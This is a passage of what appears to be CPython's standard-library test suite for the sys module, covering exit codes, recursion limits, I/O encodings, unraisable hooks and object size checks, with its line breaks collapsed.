with self.assertRaises(SystemExit) as cm: sys.exit("exit") self.assertEqual(cm.exception.code, "exit") # call with tuple argument with two entries with self.assertRaises(SystemExit) as cm: sys.exit((17, 23)) self.assertEqual(cm.exception.code, (17, 23)) # test that the exit machinery handles SystemExits properly rc, out, err = assert_python_failure('-c', 'raise SystemExit(47)') self.assertEqual(rc, 47) self.assertEqual(out, b'') self.assertEqual(err, b'') def check_exit_message(code, expected, **env_vars): rc, out, err = assert_python_failure('-c', code, **env_vars) self.assertEqual(rc, 1) self.assertEqual(out, b'') self.assertTrue(err.startswith(expected), "%s doesn't start with %s" % (ascii(err), ascii(expected))) # test that stderr buffer is flushed before the exit message is written # into stderr check_exit_message( r'import sys; sys.stderr.write("unflushed,"); sys.exit("message")', b"unflushed,message") # test that the exit message is written with backslashreplace error # handler to stderr check_exit_message( r'import sys; sys.exit("surrogates:\uDCFF")', b"surrogates:\\udcff") # test that the unicode message is encoded to the stderr encoding # instead of the default encoding (utf8) check_exit_message( r'import sys; sys.exit("h\xe9")', b"h\xe9", PYTHONIOENCODING='latin-1') def test_getdefaultencoding(self): self.assertRaises(TypeError, sys.getdefaultencoding, 42) # can't check more than the type, as the user might have changed it self.assertIsInstance(sys.getdefaultencoding(), str) # testing sys.settrace() is done in test_sys_settrace.py # testing sys.setprofile() is done in test_sys_setprofile.py def test_switchinterval(self): self.assertRaises(TypeError, sys.setswitchinterval) self.assertRaises(TypeError, sys.setswitchinterval, "a") self.assertRaises(ValueError, sys.setswitchinterval, -1.0) self.assertRaises(ValueError, sys.setswitchinterval, 0.0) orig = sys.getswitchinterval() # sanity check self.assertTrue(orig < 0.5, orig) try: for n in 0.00001, 0.05, 3.0, orig: sys.setswitchinterval(n) self.assertAlmostEqual(sys.getswitchinterval(), n) finally: sys.setswitchinterval(orig) def test_recursionlimit(self): self.assertRaises(TypeError, sys.getrecursionlimit, 42) oldlimit = sys.getrecursionlimit() self.assertRaises(TypeError, sys.setrecursionlimit) self.assertRaises(ValueError, sys.setrecursionlimit, -42) sys.setrecursionlimit(10000) self.assertEqual(sys.getrecursionlimit(), 10000) sys.setrecursionlimit(oldlimit) def test_recursionlimit_recovery(self): if hasattr(sys, 'gettrace') and sys.gettrace(): self.skipTest('fatal error if run with a trace function') oldlimit = sys.getrecursionlimit() def f(): f() try: for depth in (10, 25, 50, 75, 100, 250, 1000): try: sys.setrecursionlimit(depth) except RecursionError: # Issue #25274: The recursion limit is too low at the # current recursion depth continue # Issue #5392: test stack overflow after hitting recursion # limit twice self.assertRaises(RecursionError, f) self.assertRaises(RecursionError, f) finally: sys.setrecursionlimit(oldlimit) @test.support.cpython_only def test_setrecursionlimit_recursion_depth(self): # Issue #25274: Setting a low recursion limit must be blocked if the # current recursion depth is already higher than the "lower-water # mark". Otherwise, it may not be possible anymore to # reset the overflowed flag to 0. from _testcapi import get_recursion_depth def set_recursion_limit_at_depth(depth, limit): recursion_depth = get_recursion_depth() if recursion_depth >= depth: with self.assertRaises(RecursionError) as cm: sys.setrecursionlimit(limit) self.assertRegex(str(cm.exception), "cannot set the recursion limit to [0-9]+ " "at the recursion depth [0-9]+: " "the limit is too low") else: set_recursion_limit_at_depth(depth, limit) oldlimit = sys.getrecursionlimit() try: sys.setrecursionlimit(1000) for limit in (10, 25, 50, 75, 100, 150, 200): # formula extracted from _Py_RecursionLimitLowerWaterMark() if limit > 200: depth = limit - 50 else: depth = limit * 3 // 4 set_recursion_limit_at_depth(depth, limit) finally: sys.setrecursionlimit(oldlimit) # The error message is specific to CPython @test.support.cpython_only def test_recursionlimit_fatalerror(self): # A fatal error occurs if a second recursion limit is hit when recovering # from a first one. code = textwrap.dedent(""" import sys def f(): try: f() except RecursionError: f() sys.setrecursionlimit(%d) f()""") with test.support.SuppressCrashReport(): for i in (50, 1000): sub = subprocess.Popen([sys.executable, '-c', code % i], stderr=subprocess.PIPE) err = sub.communicate()[1] self.assertTrue(sub.returncode, sub.returncode) self.assertIn( b"Fatal Python error: _Py_CheckRecursiveCall: " b"Cannot recover from stack overflow", err) def test_getwindowsversion(self): # Raise SkipTest if sys doesn't have getwindowsversion attribute test.support.get_attribute(sys, "getwindowsversion") v = sys.getwindowsversion() self.assertEqual(len(v), 5) self.assertIsInstance(v[0], int) self.assertIsInstance(v[1], int) self.assertIsInstance(v[2], int) self.assertIsInstance(v[3], int) self.assertIsInstance(v[4], str) self.assertRaises(IndexError, operator.getitem, v, 5) self.assertIsInstance(v.major, int) self.assertIsInstance(v.minor, int) self.assertIsInstance(v.build, int) self.assertIsInstance(v.platform, int) self.assertIsInstance(v.service_pack, str) self.assertIsInstance(v.service_pack_minor, int) self.assertIsInstance(v.service_pack_major, int) self.assertIsInstance(v.suite_mask, int) self.assertIsInstance(v.product_type, int) self.assertEqual(v[0], v.major) self.assertEqual(v[1], v.minor) self.assertEqual(v[2], v.build) self.assertEqual(v[3], v.platform) self.assertEqual(v[4], v.service_pack) # This is how platform.py calls it. Make sure tuple # still has 5 elements maj, min, buildno, plat, csd = sys.getwindowsversion() def test_call_tracing(self): self.assertRaises(TypeError, sys.call_tracing, type, 2) @unittest.skipUnless(hasattr(sys, "setdlopenflags"), 'test needs sys.setdlopenflags()') def test_dlopenflags(self): self.assertTrue(hasattr(sys, "getdlopenflags")) self.assertRaises(TypeError, sys.getdlopenflags, 42) oldflags = sys.getdlopenflags() self.assertRaises(TypeError, sys.setdlopenflags) sys.setdlopenflags(oldflags+1) self.assertEqual(sys.getdlopenflags(), oldflags+1) sys.setdlopenflags(oldflags) @test.support.refcount_test def test_refcount(self): # n here must be a global in order for this test to pass while # tracing with a python function. Tracing calls PyFrame_FastToLocals # which will add a copy of any locals to the frame object, causing # the reference count to increase by 2 instead of 1. global n self.assertRaises(TypeError, sys.getrefcount) c = sys.getrefcount(None) n = None self.assertEqual(sys.getrefcount(None), c+1) del n self.assertEqual(sys.getrefcount(None), c) if hasattr(sys, "gettotalrefcount"): self.assertIsInstance(sys.gettotalrefcount(), int) def test_getframe(self): self.assertRaises(TypeError, sys._getframe, 42, 42) self.assertRaises(ValueError, sys._getframe, 2000000000) self.assertTrue( SysModuleTest.test_getframe.__code__ \ is sys._getframe().f_code ) # sys._current_frames() is a CPython-only gimmick. @test.support.reap_threads def test_current_frames(self): import threading import traceback # Spawn a thread that blocks at a known place. Then the main # thread does sys._current_frames(), and verifies that the frames # returned make sense. entered_g = threading.Event() leave_g = threading.Event() thread_info = [] # the thread's id def f123(): g456() def g456(): thread_info.append(threading.get_ident()) entered_g.set() leave_g.wait() t = threading.Thread(target=f123) t.start() entered_g.wait() # At this point, t has finished its entered_g.set(), although it's # impossible to guess whether it's still on that line or has moved on # to its leave_g.wait(). self.assertEqual(len(thread_info), 1) thread_id = thread_info[0] d = sys._current_frames() for tid in d: self.assertIsInstance(tid, int) self.assertGreater(tid, 0) main_id = threading.get_ident() self.assertIn(main_id, d) self.assertIn(thread_id, d) # Verify that the captured main-thread frame is _this_ frame. frame = d.pop(main_id) self.assertTrue(frame is sys._getframe()) # Verify that the captured thread frame is blocked in g456, called # from f123. This is a litte tricky, since various bits of # threading.py are also in the thread's call stack. frame = d.pop(thread_id) stack = traceback.extract_stack(frame) for i, (filename, lineno, funcname, sourceline) in enumerate(stack): if funcname == "f123": break else: self.fail("didn't find f123() on thread's call stack") self.assertEqual(sourceline, "g456()") # And the next record must be for g456(). filename, lineno, funcname, sourceline = stack[i+1] self.assertEqual(funcname, "g456") self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"]) # Reap the spawned thread. leave_g.set() t.join() def test_attributes(self): self.assertIsInstance(sys.api_version, int) self.assertIsInstance(sys.argv, list) self.assertIn(sys.byteorder, ("little", "big")) self.assertIsInstance(sys.builtin_module_names, tuple) self.assertIsInstance(sys.copyright, str) self.assertIsInstance(sys.exec_prefix, str) self.assertIsInstance(sys.base_exec_prefix, str) self.assertIsInstance(sys.executable, str) self.assertEqual(len(sys.float_info), 11) self.assertEqual(sys.float_info.radix, 2) self.assertEqual(len(sys.int_info), 2) self.assertTrue(sys.int_info.bits_per_digit % 5 == 0) self.assertTrue(sys.int_info.sizeof_digit >= 1) self.assertEqual(type(sys.int_info.bits_per_digit), int) self.assertEqual(type(sys.int_info.sizeof_digit), int) self.assertIsInstance(sys.hexversion, int) self.assertEqual(len(sys.hash_info), 9) self.assertLess(sys.hash_info.modulus, 2**sys.hash_info.width) # sys.hash_info.modulus should be a prime; we do a quick # probable primality test (doesn't exclude the possibility of # a Carmichael number) for x in range(1, 100): self.assertEqual( pow(x, sys.hash_info.modulus-1, sys.hash_info.modulus), 1, "sys.hash_info.modulus {} is a non-prime".format( sys.hash_info.modulus) ) self.assertIsInstance(sys.hash_info.inf, int) self.assertIsInstance(sys.hash_info.nan, int) self.assertIsInstance(sys.hash_info.imag, int) algo = sysconfig.get_config_var("Py_HASH_ALGORITHM") if sys.hash_info.algorithm in {"fnv", "siphash24"}: self.assertIn(sys.hash_info.hash_bits, {32, 64}) self.assertIn(sys.hash_info.seed_bits, {32, 64, 128}) if algo == 1: self.assertEqual(sys.hash_info.algorithm, "siphash24") elif algo == 2: self.assertEqual(sys.hash_info.algorithm, "fnv") else: self.assertIn(sys.hash_info.algorithm, {"fnv", "siphash24"}) else: # PY_HASH_EXTERNAL self.assertEqual(algo, 0) self.assertGreaterEqual(sys.hash_info.cutoff, 0) self.assertLess(sys.hash_info.cutoff, 8) self.assertIsInstance(sys.maxsize, int) self.assertIsInstance(sys.maxunicode, int) self.assertEqual(sys.maxunicode, 0x10FFFF) self.assertIsInstance(sys.platform, str) self.assertIsInstance(sys.prefix, str) self.assertIsInstance(sys.base_prefix, str) self.assertIsInstance(sys.version, str) vi = sys.version_info self.assertIsInstance(vi[:], tuple) self.assertEqual(len(vi), 5) self.assertIsInstance(vi[0], int) self.assertIsInstance(vi[1], int) self.assertIsInstance(vi[2], int) self.assertIn(vi[3], ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi[4], int) self.assertIsInstance(vi.major, int) self.assertIsInstance(vi.minor, int) self.assertIsInstance(vi.micro, int) self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi.serial, int) self.assertEqual(vi[0], vi.major) self.assertEqual(vi[1], vi.minor) self.assertEqual(vi[2], vi.micro) self.assertEqual(vi[3], vi.releaselevel) self.assertEqual(vi[4], vi.serial) self.assertTrue(vi > (1,0,0)) self.assertIsInstance(sys.float_repr_style, str) self.assertIn(sys.float_repr_style, ('short', 'legacy')) if not sys.platform.startswith('win'): self.assertIsInstance(sys.abiflags, str) def test_thread_info(self): info = sys.thread_info self.assertEqual(len(info), 3) self.assertIn(info.name, ('nt', 'pthread', 'solaris', None)) self.assertIn(info.lock, ('semaphore', 'mutex+cond', None)) def test_43581(self): # Can't use sys.stdout, as this is a StringIO object when # the test runs under regrtest. self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding) def test_intern(self): global INTERN_NUMRUNS INTERN_NUMRUNS += 1 self.assertRaises(TypeError, sys.intern) s = "never interned before" + str(INTERN_NUMRUNS) self.assertTrue(sys.intern(s) is s) s2 = s.swapcase().swapcase() self.assertTrue(sys.intern(s2) is s) # Subclasses of string can't be interned, because they # provide too much opportunity for insane things to happen. # We don't want them in the interned dict and if they aren't # actually interned, we don't want to create the appearance # that they are by allowing intern() to succeed. class S(str): def __hash__(self): return 123 self.assertRaises(TypeError, sys.intern, S("abc")) def test_sys_flags(self): self.assertTrue(sys.flags) attrs = ("debug", "inspect", "interactive", "optimize", "dont_write_bytecode", "no_user_site", "no_site", "ignore_environment", "verbose", "bytes_warning", "quiet", "hash_randomization", "isolated", "dev_mode", "utf8_mode") for attr in attrs: self.assertTrue(hasattr(sys.flags, attr), attr) attr_type = bool if attr == "dev_mode" else int self.assertEqual(type(getattr(sys.flags, attr)), attr_type, attr) self.assertTrue(repr(sys.flags)) self.assertEqual(len(sys.flags), len(attrs)) self.assertIn(sys.flags.utf8_mode, {0, 1, 2}) def assert_raise_on_new_sys_type(self, sys_attr): # Users are intentionally prevented from creating new instances of # sys.flags, sys.version_info, and sys.getwindowsversion. attr_type = type(sys_attr) with self.assertRaises(TypeError): attr_type() with self.assertRaises(TypeError): attr_type.__new__(attr_type) def test_sys_flags_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.flags) def test_sys_version_info_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.version_info) def test_sys_getwindowsversion_no_instantiation(self): # Skip if not being run on Windows. test.support.get_attribute(sys, "getwindowsversion") self.assert_raise_on_new_sys_type(sys.getwindowsversion()) @test.support.cpython_only def test_clear_type_cache(self): sys._clear_type_cache() def test_ioencoding(self): env = dict(os.environ) # Test character: cent sign, encoded as 0x4A (ASCII J) in CP424, # not representable in ASCII. env["PYTHONIOENCODING"] = "cp424" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() expected = ("\xa2" + os.linesep).encode("cp424") self.assertEqual(out, expected) env["PYTHONIOENCODING"] = "ascii:replace" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'?') env["PYTHONIOENCODING"] = "ascii" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = "ascii:" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = ":surrogateescape" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xdcbd))'], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'\xbd') @unittest.skipUnless(test.support.FS_NONASCII, 'requires OS support of non-ASCII encodings') @unittest.skipUnless(sys.getfilesystemencoding() == locale.getpreferredencoding(False), 'requires FS encoding to match locale') def test_ioencoding_nonascii(self): env = dict(os.environ) env["PYTHONIOENCODING"] = "" p = subprocess.Popen([sys.executable, "-c", 'print(%a)' % test.support.FS_NONASCII], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, os.fsencode(test.support.FS_NONASCII)) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') def test_executable(self): # sys.executable should be absolute self.assertEqual(os.path.abspath(sys.executable), sys.executable) # Issue #7774: Ensure that sys.executable is an empty string if argv[0] # has been set to a non existent program name and Python is unable to # retrieve the real program name # For a normal installation, it should work without 'cwd' # argument. For test runs in the build directory, see #7774. python_dir = os.path.dirname(os.path.realpath(sys.executable)) p = subprocess.Popen( ["nonexistent", "-c", 'import sys; print(sys.executable.encode("ascii", "backslashreplace"))'], executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir) stdout = p.communicate()[0] executable = stdout.strip().decode("ASCII") p.wait() self.assertIn(executable, ["b''", repr(sys.executable.encode("ascii", "backslashreplace"))]) def check_fsencoding(self, fs_encoding, expected=None): self.assertIsNotNone(fs_encoding) codecs.lookup(fs_encoding) if expected: self.assertEqual(fs_encoding, expected) def test_getfilesystemencoding(self): fs_encoding = sys.getfilesystemencoding() if sys.platform == 'darwin': expected = 'utf-8' else: expected = None self.check_fsencoding(fs_encoding, expected) def c_locale_get_error_handler(self, locale, isolated=False, encoding=None): # Force the POSIX locale env = os.environ.copy() env["LC_ALL"] = locale env["PYTHONCOERCECLOCALE"] = "0" code = '\n'.join(( 'import sys', 'def dump(name):', ' std = getattr(sys, name)', ' print("%s: %s" % (name, std.errors))', 'dump("stdin")', 'dump("stdout")', 'dump("stderr")', )) args = [sys.executable, "-X", "utf8=0", "-c", code] if isolated: args.append("-I") if encoding is not None: env['PYTHONIOENCODING'] = encoding else: env.pop('PYTHONIOENCODING', None) p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, universal_newlines=True) stdout, stderr = p.communicate() return stdout def check_locale_surrogateescape(self, locale): out = self.c_locale_get_error_handler(locale, isolated=True) self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') # replace the default error handler out = self.c_locale_get_error_handler(locale, encoding=':ignore') self.assertEqual(out, 'stdin: ignore\n' 'stdout: ignore\n' 'stderr: backslashreplace\n') # force the encoding out = self.c_locale_get_error_handler(locale, encoding='iso8859-1') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='iso8859-1:') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') # have no any effect out = self.c_locale_get_error_handler(locale, encoding=':') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') def test_c_locale_surrogateescape(self): self.check_locale_surrogateescape('C') def test_posix_locale_surrogateescape(self): self.check_locale_surrogateescape('POSIX') def test_implementation(self): # This test applies to all implementations equally. levels = {'alpha': 0xA, 'beta': 0xB, 'candidate': 0xC, 'final': 0xF} self.assertTrue(hasattr(sys.implementation, 'name')) self.assertTrue(hasattr(sys.implementation, 'version')) self.assertTrue(hasattr(sys.implementation, 'hexversion')) self.assertTrue(hasattr(sys.implementation, 'cache_tag')) version = sys.implementation.version self.assertEqual(version[:2], (version.major, version.minor)) hexversion = (version.major << 24 | version.minor << 16 | version.micro << 8 | levels[version.releaselevel] << 4 | version.serial << 0) self.assertEqual(sys.implementation.hexversion, hexversion) # PEP 421 requires that .name be lower case. self.assertEqual(sys.implementation.name, sys.implementation.name.lower()) @test.support.cpython_only def test_debugmallocstats(self): # Test sys._debugmallocstats() from test.support.script_helper import assert_python_ok args = ['-c', 'import sys; sys._debugmallocstats()'] ret, out, err = assert_python_ok(*args) self.assertIn(b"free PyDictObjects", err) # The function has no parameter self.assertRaises(TypeError, sys._debugmallocstats, True) @unittest.skipUnless(hasattr(sys, "getallocatedblocks"), "sys.getallocatedblocks unavailable on this build") def test_getallocatedblocks(self): try: import _testcapi except ImportError: with_pymalloc = support.with_pymalloc() else: try: alloc_name = _testcapi.pymem_getallocatorsname() except RuntimeError as exc: # "cannot get allocators name" (ex: tracemalloc is used) with_pymalloc = True else: with_pymalloc = (alloc_name in ('pymalloc', 'pymalloc_debug')) # Some sanity checks a = sys.getallocatedblocks() self.assertIs(type(a), int) if with_pymalloc: self.assertGreater(a, 0) else: # When WITH_PYMALLOC isn't available, we don't know anything # about the underlying implementation: the function might # return 0 or something greater. self.assertGreaterEqual(a, 0) try: # While we could imagine a Python session where the number of # multiple buffer objects would exceed the sharing of references, # it is unlikely to happen in a normal test run. self.assertLess(a, sys.gettotalrefcount()) except AttributeError: # gettotalrefcount() not available pass gc.collect() b = sys.getallocatedblocks() self.assertLessEqual(b, a) gc.collect() c = sys.getallocatedblocks() self.assertIn(c, range(b - 50, b + 50)) def test_is_finalizing(self): self.assertIs(sys.is_finalizing(), False) # Don't use the atexit module because _Py_Finalizing is only set # after calling atexit callbacks code = """if 1: import sys class AtExit: is_finalizing = sys.is_finalizing print = print def __del__(self): self.print(self.is_finalizing(), flush=True) # Keep a reference in the __main__ module namespace, so the # AtExit destructor will be called at Python exit ref = AtExit() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(stdout.rstrip(), b'True') def test_issue20602(self): # sys.flags and sys.float_info were wiped during shutdown. code = """if 1: import sys class A: def __del__(self, sys=sys): print(sys.flags) print(sys.float_info) a = A() """ rc, out, err = assert_python_ok('-c', code) out = out.splitlines() self.assertIn(b'sys.flags', out[0]) self.assertIn(b'sys.float_info', out[1]) def test_sys_ignores_cleaning_up_user_data(self): code = """if 1: import struct, sys class C: def __init__(self): self.pack = struct.pack def __del__(self): self.pack('I', -42) sys.x = C() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(rc, 0) self.assertEqual(stdout.rstrip(), b"") self.assertEqual(stderr.rstrip(), b"") @unittest.skipUnless(hasattr(sys, 'getandroidapilevel'), 'need sys.getandroidapilevel()') def test_getandroidapilevel(self): level = sys.getandroidapilevel() self.assertIsInstance(level, int) self.assertGreater(level, 0) def test_sys_tracebacklimit(self): code = """if 1: import sys def f1(): 1 / 0 def f2(): f1() sys.tracebacklimit = %r f2() """ def check(tracebacklimit, expected): p = subprocess.Popen([sys.executable, '-c', code % tracebacklimit], stderr=subprocess.PIPE) out = p.communicate()[1] self.assertEqual(out.splitlines(), expected) traceback = [ b'Traceback (most recent call last):', b' File "<string>", line 8, in <module>', b' File "<string>", line 6, in f2', b' File "<string>", line 4, in f1', b'ZeroDivisionError: division by zero' ] check(10, traceback) check(3, traceback) check(2, traceback[:1] + traceback[2:]) check(1, traceback[:1] + traceback[3:]) check(0, [traceback[-1]]) check(-1, [traceback[-1]]) check(1<<1000, traceback) check(-1<<1000, [traceback[-1]]) check(None, traceback) def test_no_duplicates_in_meta_path(self): self.assertEqual(len(sys.meta_path), len(set(sys.meta_path))) @unittest.skipUnless(hasattr(sys, "_enablelegacywindowsfsencoding"), 'needs sys._enablelegacywindowsfsencoding()') def test__enablelegacywindowsfsencoding(self): code = ('import sys', 'sys._enablelegacywindowsfsencoding()', 'print(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())') rc, out, err = assert_python_ok('-c', '; '.join(code)) out = out.decode('ascii', 'replace').rstrip() self.assertEqual(out, 'mbcs replace') @test.support.cpython_only class UnraisableHookTest(unittest.TestCase): def write_unraisable_exc(self, exc, err_msg, obj): import _testcapi import types err_msg2 = f"Exception ignored {err_msg}" try: _testcapi.write_unraisable_exc(exc, err_msg, obj) return types.SimpleNamespace(exc_type=type(exc), exc_value=exc, exc_traceback=exc.__traceback__, err_msg=err_msg2, object=obj) finally: # Explicitly break any reference cycle exc = None def test_original_unraisablehook(self): for err_msg in (None, "original hook"): with self.subTest(err_msg=err_msg): obj = "an object" with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): self.write_unraisable_exc(ValueError(42), err_msg, obj) err = stderr.getvalue() if err_msg is not None: self.assertIn(f'Exception ignored {err_msg}: {obj!r}\n', err) else: self.assertIn(f'Exception ignored in: {obj!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('ValueError: 42\n', err) def test_original_unraisablehook_err(self): # bpo-22836: PyErr_WriteUnraisable() should give sensible reports class BrokenDel: def __del__(self): exc = ValueError("del is broken") # The following line is included in the traceback report: raise exc class BrokenStrException(Exception): def __str__(self): raise Exception("str() is broken") class BrokenExceptionDel: def __del__(self): exc = BrokenStrException() # The following line is included in the traceback report: raise exc for test_class in (BrokenDel, BrokenExceptionDel): with self.subTest(test_class): obj = test_class() with test.support.captured_stderr() as stderr, \ test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): # Trigger obj.__del__() del obj report = stderr.getvalue() self.assertIn("Exception ignored", report) self.assertIn(test_class.__del__.__qualname__, report) self.assertIn("test_sys.py", report) self.assertIn("raise exc", report) if test_class is BrokenExceptionDel: self.assertIn("BrokenStrException", report) self.assertIn("<exception str() failed>", report) else: self.assertIn("ValueError", report) self.assertIn("del is broken", report) self.assertTrue(report.endswith("\n")) def test_original_unraisablehook_wrong_type(self): exc = ValueError(42) with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): with self.assertRaises(TypeError): sys.unraisablehook(exc) def test_custom_unraisablehook(self): hook_args = None def hook_func(args): nonlocal hook_args hook_args = args obj = object() try: with test.support.swap_attr(sys, 'unraisablehook', hook_func): expected = self.write_unraisable_exc(ValueError(42), "custom hook", obj) for attr in "exc_type exc_value exc_traceback err_msg object".split(): self.assertEqual(getattr(hook_args, attr), getattr(expected, attr), (hook_args, expected)) finally: # expected and hook_args contain an exception: break reference cycle expected = None hook_args = None def test_custom_unraisablehook_fail(self): def hook_func(*args): raise Exception("hook_func failed") with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', hook_func): self.write_unraisable_exc(ValueError(42), "custom hook fail", None) err = stderr.getvalue() self.assertIn(f'Exception ignored in sys.unraisablehook: ' f'{hook_func!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('Exception: hook_func failed\n', err) @test.support.cpython_only class SizeofTest(unittest.TestCase): def setUp(self): self.P = struct.calcsize('P') self.longdigit = sys.int_info.sizeof_digit import _testcapi self.gc_headsize = _testcapi.SIZEOF_PYGC_HEAD check_sizeof = test.support.check_sizeof def test_gc_head_size(self): # Check that the gc header size is added to objects tracked by the gc. vsize = test.support.calcvobjsize gc_header_size = self.gc_headsize # bool objects are not gc tracked self.assertEqual(sys.getsizeof(True), vsize('') + self.longdigit) # but lists are self.assertEqual(sys.getsizeof([]), vsize('Pn') + gc_header_size) def test_errors(self): class BadSizeof: def __sizeof__(self): raise ValueError self.assertRaises(ValueError, sys.getsizeof, BadSizeof()) class InvalidSizeof: def __sizeof__(self): return None self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof()) sentinel = ["sentinel"] self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel) class FloatSizeof: def __sizeof__(self): return 4.5 self.assertRaises(TypeError, sys.getsizeof, FloatSizeof()) self.assertIs(sys.getsizeof(FloatSizeof(), sentinel), sentinel) class OverflowSizeof(int): def __sizeof__(self): return int(self) self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)), sys.maxsize + self.gc_headsize) with self.assertRaises(OverflowError): sys.getsizeof(OverflowSizeof(sys.maxsize + 1)) with self.assertRaises(ValueError): sys.getsizeof(OverflowSizeof(-1)) with self.assertRaises((ValueError, OverflowError)): sys.getsizeof(OverflowSizeof(-sys.maxsize - 1)) def test_default(self): size = test.support.calcvobjsize self.assertEqual(sys.getsizeof(True), size('') + self.longdigit) self.assertEqual(sys.getsizeof(True, -1), size('') + self.longdigit) def test_objecttypes(self): # check all types defined in Objects/ calcsize = struct.calcsize size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # bool check(True, vsize('') + self.longdigit) # buffer # XXX # builtin_function_or_method check(len, size('5P')) # bytearray samples = [b'', b'u'*100000] for sample in samples: x = bytearray(sample) check(x, vsize('n2Pi') + x.__alloc__()) # bytearray_iterator check(iter(bytearray()), size('nP')) # bytes check(b'', vsize('n') + 1) check(b'x' * 10, vsize('n') + 11) # cell def get_cell(): x = 42 def inner(): return x return inner check(get_cell().__closure__[0], size('P')) # code def check_code_size(a, expected_size): self.assertGreaterEqual(sys.getsizeof(a), expected_size) check_code_size(get_cell().__code__, size('6i13P')) check_code_size(get_cell.__code__, size('6i13P')) def get_cell2(x): def inner(): return x return inner check_code_size(get_cell2.__code__, size('6i13P') + calcsize('n')) # complex check(complex(0,1), size('2d')) # method_descriptor (descriptor object) check(str.lower, size('3PPP')) # classmethod_descriptor (descriptor object) # XXX # member_descriptor (descriptor object) import datetime check(datetime.timedelta.days, size('3PP')) # getset_descriptor (descriptor object) import collections check(collections.defaultdict.default_factory, size('3PP')) # wrapper_descriptor (descriptor object) check(int.__add__, size('3P2P')) # method-wrapper (descriptor object) check({}.__iter__, size('2P')) # empty dict check({}, size('nQ2P')) # dict check({"a": 1}, size('nQ2P') + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P')) longdict = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8} check(longdict, size('nQ2P') + calcsize('2nP2n') + 16 + (16*2//3)*calcsize('n2P')) # dictionary-keyview check({}.keys(), size('P')) # dictionary-valueview check({}.values(), size('P')) # dictionary-itemview check({}.items(), size('P')) # dictionary iterator check(iter({}), size('P2nPn')) # dictionary-keyiterator check(iter({}.keys()), size('P2nPn')) # dictionary-valueiterator check(iter({}.values()), size('P2nPn')) # dictionary-itemiterator check(iter({}.items()), size('P2nPn')) # dictproxy class C(object): pass check(C.__dict__, size('P')) # BaseException check(BaseException(), size('5Pb')) # UnicodeEncodeError check(UnicodeEncodeError("", "", 0, 0, ""), size('5Pb 2P2nP')) # UnicodeDecodeError check(UnicodeDecodeError("", b"", 0, 0, ""), size('5Pb 2P2nP')) # UnicodeTranslateError check(UnicodeTranslateError("", 0, 1, ""), size('5Pb 2P2nP')) # ellipses check(Ellipsis, size('')) # EncodingMap import codecs, encodings.iso8859_3 x = codecs.charmap_build(encodings.iso8859_3.decoding_table) check(x, size('32B2iB')) # enumerate check(enumerate([]), size('n3P')) # reverse check(reversed(''), size('nP')) # float check(float(0), size('d')) # sys.floatinfo check(sys.float_info, vsize('') + self.P * len(sys.float_info)) # frame import inspect CO_MAXBLOCKS = 20 x = inspect.currentframe() ncells = len(x.f_code.co_cellvars) nfrees = len(x.f_code.co_freevars) extras = x.f_code.co_stacksize + x.f_code.co_nlocals +\ ncells + nfrees - 1 check(x, vsize('5P2c4P3ic' + CO_MAXBLOCKS*'3i' + 'P' + extras*'P')) # function def func(): pass check(func, size('13P')) class c(): @staticmethod def foo(): pass @classmethod def bar(cls): pass # staticmethod check(foo, size('PP')) # classmethod check(bar, size('PP')) # generator def get_gen(): yield 1 check(get_gen(), size('Pb2PPP4P')) # iterator check(iter('abc'), size('lP')) # callable-iterator import re check(re.finditer('',''), size('2P')) # list samples = [[], [1,2,3], ['1', 